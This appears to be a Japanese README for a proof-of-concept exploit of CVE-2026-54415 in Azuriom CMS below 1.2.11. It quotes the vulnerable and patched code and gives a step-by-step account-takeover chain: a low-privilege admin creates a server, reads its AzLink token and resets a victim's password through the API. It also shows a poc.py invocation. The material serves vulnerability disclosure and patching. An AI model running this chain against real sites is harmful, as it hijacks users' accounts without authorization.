
CVE-2026-54415 の PoC — Azuriom CMS (<1.2.11) 壊れたアクセス制御 → アカウント乗っ取り
| CVE | CVE-2026-54415 |
| Product | Azuriom CMS |
| 影響を受けるバージョン | < 1.2.11 |
| 修正バージョン | 1.2.11 — コミット 4b744bc |
| CWE | CWE-862(認可の欠如)、CWE-269(不適切な権限管理) |
| CVSS 3.1 | 8.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
このPoCは、修正済みバージョンに対する防御および教育目的で公開されています。所有しているシステム、または明示的にテストを許可されたシステムでのみ実行してください。Azuriom
1.2.11+にアップグレードしてください。
✅ ローカルのAzuriom 1.2.10インスタンスでエンドツーエンド確認済み — アクセス制御バイパス、トークン生成、パスワード変更+被害者ログイン、管理者保護境界を確認。
routes/admin.phpでは、管理パネル全体が単一の can:admin.access グループで保護されており、各機密機能は独自の細かい can:admin.* ミドルウェアを追加することが期待されていました。1.2.11 以前は、サーバー管理ルートにはそのようなミドルウェアが実装されていませんでした:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
そのため、管理パネルにアクセスできるユーザー(admin.access)であれば誰でもサーバーを作成できました。admin.servers 権限はまったく存在せず、修正まで存在しませんでした。
ベンダーは新しい admin.servers 権限を作成し、ルートをその中にラップしました:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
同じコミットで、以前欠落していた social-links および pages/posts.attachments ルートへの権限チェックも追加されました。
サーバーを作成すると、32文字のサーバートークンが生成されます (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
そのトークンはAzLink API (routes/api.php) を認証し、その VerifyServerToken ミドルウェアは有効な Azuriom-Link-Token ヘッダーを持つ任意のリクエストを信頼します。AzLinkはアカウント管理エンドポイントを公開しています:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword は対象が isAdmin() の場合にのみ拒否します — つまり、管理者以外のすべてのアカウントが乗っ取り可能です:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
サーバー作成は保存前に $server->bridge()->verifyLink() を呼び出します。mc-azlink タイプの場合、これは無条件に true を返します:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
そのため、攻撃者はダミーの address を指定してもサーバーは保存され、新しいトークンはAzLinkセットアップコマンド (/azlink setup <url> <token>) 内のパネルに表示されます。
1. 低権限管理者として認証 (admin.access のみ — admin.servers は存在しなかった)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → サーバー保存、トークン生成
3. GET /admin/servers/{id}/edit → セットアップコマンドからトークンを読み取り
4. POST /api/azlink/password (ヘッダー Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. 被害者としてログイン → 完全なアカウント乗っ取り
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
スクリプトはログイン、サーバートークンの生成、抽出、AzLink経由での被害者のパスワードリセットを行い、トークンと結果を出力します。全てのフラグは poc.py --help を参照してください。requests が必要です (pip install requests)。
1.2.11 以降にアップグレードしてください。admin_servers を監査し、予期しないサーバートークンを無効にしてください。admin.access を持つロールを監査してください。1.2.11 で修正MIT — 許可されたセキュリティテストおよび研究目的のみ。